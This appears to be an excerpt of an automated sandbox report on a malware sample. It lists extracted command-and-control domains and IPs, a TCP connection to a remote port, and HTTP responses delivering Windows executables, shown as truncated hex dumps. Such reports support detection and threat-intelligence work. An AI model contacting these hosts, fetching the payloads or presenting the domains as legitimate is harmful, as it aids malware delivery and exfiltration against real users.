Source: Malware configuration extractor	URLs: PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: uncertainyelemz.bet
Source: Malware configuration extractor	URLs: hobbyedsmoker.live
Source: Malware configuration extractor	URLs: presentymusse.world
Source: Malware configuration extractor	URLs: deaddereaste.today
Source: Malware configuration extractor	URLs: subawhipnator.life
Source: Malware configuration extractor	URLs: privileggoe.live
Source: Malware configuration extractor	URLs: boltetuurked.digital
Source: Malware configuration extractor	IPs: 176.113.115.6

Source: global traffic

TCP traffic: 192.168.2.4:50052 -> 94.156.227.220:7000

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Feb 2025 08:48:17 GMTContent-Type: application/octet-streamContent-Length: 439296Last-Modified: Sun, 23 Feb 2025 13:15:18 GMTConnection: keep-aliveETag: "67bb1f66-6b400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d1 b6 42 53 95 d7 2c 00 95 d7 2c 00 95 d7 2c 00 81 bc 2f 01 98 d7 2c 00 81 bc 29 01 2f d7 2c 00 c7 a2 28 01 87 d7 2c 00 c7 a2 2f 01 83 d7 2c 00 c7 a2 29 01 cc d7 2c 00 a4 8b d1 00 97 d7 2c 00 81 bc 28 01 82 d7 2c 00 81 bc 2d 01 86 d7 2c 00 95 d7 2d 00 67 d7 2c 00 59 a2 25 01 94 d7 2c 00 59 a2 d3 00 94 d7 2c 00 59 a2 2e 01 94 d7 2c 00 52 69 63 68 95 d7 2c 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 23 01 bb 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 f2 04 00 00 00 02 00 00 00 00 00 b7 9f 02 00 00 10 00 00 00 10 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 07 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 80 45 06 00 c8 00 00 00 00 d0 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 06 00 c4 45 00 00 d8 e1 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 05 00 18 00 00 00 10 e2 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 05 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ea f0 04 00 00 10 00 00 00 f2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 72 48 01 00 00 10 05 00 00 4a 01 00 00 f6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 dc 6d 00 00 00 60 06 00 00 2c 00 00 00 40 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 d0 06 00 00 02 00 00 00 6c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c4 45 00 00 00 e0 06 00 00 46 00 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 26 Feb 2025 08:48:18 GMTContent-Type: application/octet-streamContent-Length: 1797632Last-Modified: Wed, 26 Feb 2025 08:36:38 GMTConnection: keep-aliveETag: "67bed296-1b6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 df 68 a3 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 69 00 00 04 00 00 0d 71 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 8c 03 00 00 00 a0 24 00 00 04 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 6a 7a 6a 68 70 79 00 d0 19 00 00 20 4f 00 00 c6 19 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 63 7a 66 78 63 71 6e 00 10 00 00 00 f0 68 00 00 06 00 00 00 46 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 69 00 00 22 00 00 00 4c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Feb 2025 08:48:27 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Feb 2025 08:48:41 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Feb 2025 08:48:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Feb 2025 08:48:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 26 Feb 2025 08:48:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
